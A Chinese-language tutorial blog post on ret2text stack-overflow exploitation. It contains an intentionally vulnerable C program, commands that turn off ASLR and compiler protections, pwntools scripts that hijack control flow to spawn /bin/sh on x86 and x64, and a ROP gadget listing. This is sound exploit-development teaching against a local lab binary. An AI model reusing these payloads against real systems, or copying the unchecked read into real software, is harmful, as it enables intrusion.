Ret2text

ret2text

Return-to-text (ret2text) 是一种利用技术,它通过劫持程序的控制流并重定向到已存在的可执行文本(即程序代码)的某个位置来执行任意代码。

漏洞源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<stdlib.h>
char sh[] = "/bin/sh";

int func()
{
	system(sh);
	return 0;
}
int dofunc()
{
	char data[8]={};
	puts("input:");
	read(0,data,0x100);
	return 0;
}
int main()
{
	dofunc();
	return 0;
}

ASLR

ASLR(Address Space Layout Randomization)会随机化进程在内存中的关键区域位置。每次进程启动时,堆、栈、共享库和可执行文件的加载地址都会被随机化。这使得攻击者难以预测内存地址,从而增加了利用漏洞的难度。一般情况下都关闭。

临时关闭

1
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

永久关闭

1
2
echo "kernel.randomize_va_space = 0" | sudo tee -a /etc/sysctl.conf
sudo sysctl -p

x86

1
gcc ret2text.c -m32 -fno-stack-protector -no-pie -o ret2text_x86
  • -m32 生成32位程序

  • -fno-stack-protector 禁用栈保护机制(Stack Protector)

    栈保护机制通过在栈上放置一个 “canary” 值来检测栈溢出漏洞

  • -no-pie 禁用位置无关可执行文件(Position Independent Executable, PIE)

    位置无关可执行文件使得代码在不同的内存地址运行,每次加载都会随机化地址空间

查看保护机制

dofunc栈帧

esp -> 0xffffd330

ebp -> 0xffffd358

ebp和esp的差值是0x18中,0x18=0x4(保存ebx) + 0x14(开辟栈帧)

栈帧开辟具体细节

  • call dofunc 即 push eip,jmp &dofunc 保存eip并跳到dofunc的首地址
  • push ebp 保存上一个栈帧的ebp
  • mov ebp,esp ebp和esp指向同一地址,此时栈帧空间为0
  • sub esp.0x20 esp向低地址移动开辟新的栈帧

栈帧清除具体细节

  • leave 即 mov esp,ebp pop ebp 新的栈帧关闭,ebp变为0xffffd358
  • ret 即 pop eip 返回之前eip的地址

反编译dofunc

查看栈布局

从数组的起始地址到保存的eip的地址的差值为0x10+0x4=0x14

尝试篡改eip的地址,输入8个a

栈溢出的原因是没有对输入的数据长度做限制,过长的输入会覆盖内存中返回地址的数据,如果能输到修改eip的地址值就可以劫持函数流程

这里要输入20个a来填充数据,16个a填充栈帧,4个a覆盖ebp,后面加上func的起始地址0x8049186即可

0x8049186本质上就是4个通过ASCII表映射的字符,其中0x8 0x04 0x91 0x86在ASCII中都是不可打印字符,需要通过pwntools输入

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pwn

# 属性设置
pwn.context.log_level = 'debug'
pwn.context.arch = 'i386'
pwn.context.os = 'linux'

# 为当前文件创建进程
filePath = './ret2text_x86'
io = pwn.process(filePath)

# 用gdb附加调试进程,一般不用调试
pwn.gdb.attach(io)

# 20个字符和一个32位地址组成payload
padding = 0x14
funcAddr = 0x8049186
# payload = padding * b'a' + pwn.p32(funcAddr)  # payload使用字符串拼接需要用p32 p64转为小端序
payload = pwn.flat([padding * b'a', funcAddr])  # flat自动进行数据对齐和大端序小端序调整

io.sendafter('input:', payload)  # 在程序输出input后发送payload
io.interactive()  # 进入交互模式

x86_seq

1
gcc ret2text.c -m32 -fno-stack-protector -no-pie -fomit-frame-pointer -o ret2text_x86_sep

相比于上面的程序这里省略了帧指针,增大了调试的难度

可以看到dofunc直接省略了对ebp的操作

省略了帧指针后ebp被当作通用寄存器进行使用,不再用于维护栈帧的边界

exp和上面相同

x64

1
gcc ret2text.c -fno-stack-protector -no-pie -o ret2text_x64

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

filePath = './ret2text_x64'
io = process(filePath)
padding = 0x10
funcAddr = 0x401146
payload = b'a' * padding
payload += p64(funcAddr)

# gdb.attach(io)

io.sendafter(b'input:', payload)
io.interactive()

x64堆栈平衡

结果显示

1
2
[*] Process './ret2text_x64' stopped with exit code -11 (SIGSEGV) (pid 157267)
[*] Got EOF while sending in interactive

这是由于64位机器在函数调用约定上要求栈在调用指令之前必须是16字节对齐的

16 Bytes Stack Alignment 的 MOVAPS 問題 - Hack543 — 16 Bytes Stack Alignment 的 MOVAPS 問題 - Hack543

ret2text涉及到的堆栈平衡问题_ret2text pie nx-CSDN博客

解决方案

  • 使用execv()代替system()

    在 64 位架构下,执行命令的函数通常需要注意堆栈平衡,以确保函数调用遵循 ABI 规范,并保证程序的正确性和稳定性。然而,有一种特殊的情况,即使用 syscall 指令直接调用系统调用(如 execve),可以不考虑堆栈平衡。这是因为 syscall 指令直接与内核交互,而不是通过常规的用户态函数调用机制。

  • 手动进行16字节对齐

    查找retgadget地址

    写入payload

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    
    from pwn import *
    context.log_level = 'debug'
    context.arch = 'amd64'
    context.os = 'linux'
    
    filePath = './ret2text_x64'
    io = process(filePath)
    padding = 0x10
    
    retAddr = 0x401016  # 查找到gadget地址
    
    funcAddr = 0x401146
    # 这样payload总共32字节,可以进行16字节对齐
    payload = b'a' * padding  # 16字节
    payload += p64(retAddr)   # 8字节
    payload += p64(funcAddr)  # 8字节
    
    # gdb.attach(io)
    
    io.sendafter(b'input:', payload)
    io.interactive()
    

函数传参

函数调用约定

  • x86(32bit)

    cdecl:参数从右到左入栈,调用者清理栈。 常用于 c/c++ 程序

    stdcall:参数从右到左入栈,被调用者清理栈。 常用于 windows api

    fastcall:前两个参数使用 ECX 和 EDX 寄存器,其余参数从右到左入栈。

  • x86-64(64bit)

    System V AMD64 ABI(大多数UNIX系统):前六个整数或指针类型的参数使用 RDI、RSI、RDX、RCX、R8 和 R9 寄存器传递,其余参数入栈。

    Microsoft x64:前四个参数使用 RCX、RDX、R8 和 R9 寄存器传递,其余参数入栈。

  • arm(32bit 64bit)

    AAPCS:

    个参数使用 R0-R3 寄存器传递,其余参数入栈 (32-bit)

    个参数使用 X0-X7 寄存器传递,其余参数入栈**(64-bit)**。

x86

源码变种

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// ret2text_args.c
#include<stdio.h>
#include<stdlib.h>
char sh[] = "/bin/sh";

// 现在system需要传sh
int func(char* cmd)
{
	system(cmd);
	return 0;
}
int dofunc()
{
	char data[8]={};
	puts("input:");
	read(0,data,0x100);
	return 0;
}
int main()
{
	dofunc();
	return 0;
}

如果有这样的函数

1
2
3
4
int sum(int arg1,int arg2,int arg3)
{
    return arg1 + arg2 + arg3;
}

对于cdecl栈区的布局会像是这样的**(参数从右往左进栈)**

编译&调试

1
gcc ret2text_args.c -m32 -fno-stack-protector -no-pie -o ret2text_x86_args

输了8个a,需要覆盖掉0xffffd34c(func地址)0xffffd350(参数地址),总共要0x14个a

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'

filePath = './ret2text_x86_args'
io = process(filePath)

padding = 0x14
funcAddr = 0x8049186
randomAddr = 0xdeadbeef  # 用于满足cdecl函数调用约定的占位,是func执行后的地址,一般不关心
bashAddr = 0x804c018
payload = flat([padding * b'a', funcAddr, randomAddr, bashAddr])

io.sendafter('input:', payload)
io.interactive()

如果是call_func那么payload为padding * b'a' + call_func_addr + bash_addr

多个函数调用如何写 payload ?

x64

x64相比于x86在cdecl上优先使用寄存器来传递参数,劫持的关键在于控制寄存器的内容

涉及到的寄存器有rdi, rsi, rdx, rcx, r8, r9

寄存器无法传递的参数用栈传递

设置返回地址为func的地址,寄存器rdi的值为"/bin/sh"的内存地址,理想情况下能运行一个shell,但是在do_system中遇到了16字节对齐,如果没有进行对齐CPU会触发一个一般保护故障,后续就无法取得shell

解决方案:pwn技术分享—执行system前为何要执行retn指令_哔哩哔哩_bilibili

ROP

ROP(Return-Oriented Programming)编程是一种用于绕过程序安全保护的技术,特别是在存在栈溢出或缓冲区溢出漏洞时。

ROP的核心思想就是把内存中的汇编代码片段组装成一系列的汇编代码块,每个代码片段的最后一个指令都要求能控制rip的值,这样的指令有call jmp pop,在栈上写入一系列gadget地址就可进行ROP,ROP的运行过程和链表非常类似

在ret2text_x64中寻找的gadget

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
Gadgets information
============================================================
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010bb : add bh, bh ; loopne 0x401125 ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040119b : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x0000000000401088 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x000000000040115a : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040119c : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040112a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x000000000040119d : add byte ptr [rax], al ; leave ; ret
0x000000000040108a : add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x000000000040115c : add byte ptr [rax], al ; pop rbp ; ret
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040112b : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040119e : add cl, cl ; ret
0x00000000004010ba : add dil, dil ; loopne 0x401125 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040112c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401127 : add eax, 0x2f03 ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401128 : add ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x0000000000401010 : call rax
0x0000000000401143 : cli ; jmp 0x4010d0
0x0000000000401140 : endbr64 ; jmp 0x4010d0
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010b5 : je 0x4010c0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010f7 : je 0x401100 ; mov edi, 0x404030 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401144 : jmp 0x4010d0
0x00000000004010bc : jmp rax
0x000000000040119f : leave ; ret
0x00000000004010bd : loopne 0x401125 ; nop ; ret
0x0000000000401126 : mov byte ptr [rip + 0x2f03], 1 ; pop rbp ; ret
0x000000000040119a : mov eax, 0 ; leave ; ret
0x0000000000401159 : mov eax, 0 ; pop rbp ; ret
0x00000000004010b7 : mov edi, 0x404030 ; jmp rax
0x0000000000401052 : mov edx, 0x6800002f ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010bf : nop ; ret
0x000000000040113c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010d0
0x000000000040108c : nop dword ptr [rax] ; ret
0x00000000004010b6 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x000000000040112d : pop rbp ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401056 : push 2 ; jmp 0x401020
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004011b9 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011b8 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010b3 : test eax, eax ; je 0x4010c0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010f5 : test eax, eax ; je 0x401100 ; mov edi, 0x404030 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax
0x00000000004010b8 : xor byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401125 ; nop ; ret

Unique gadgets found: 60

栈布局

这里的pop rdi;ret相当于把栈顶的值给rdi,此时间接改变了rdi的值,成功给func传参

1
payload = b'a' * padding + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(func_addr)

减少溢出空间

如果溢出空间有限呢?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<stdlib.h>
char sh[] = "/bin/sh";

int func(char* cmd)
{
	system(cmd);
	return 0;
}
int dofunc()
{
	char data[8]={};
	puts("input:");
	read(0,data,0x18);  // 0x100改为0x18
	return 0;
}
int main()
{
	dofunc();
	return 0;
}

x86下payload

1
payload = padding * b'a' + p32(call_system_addr) + p32(sh_addr)  # /bin/sh改为sh减少空间占用
使用 Hugo 构建
主题 StackJimmy 设计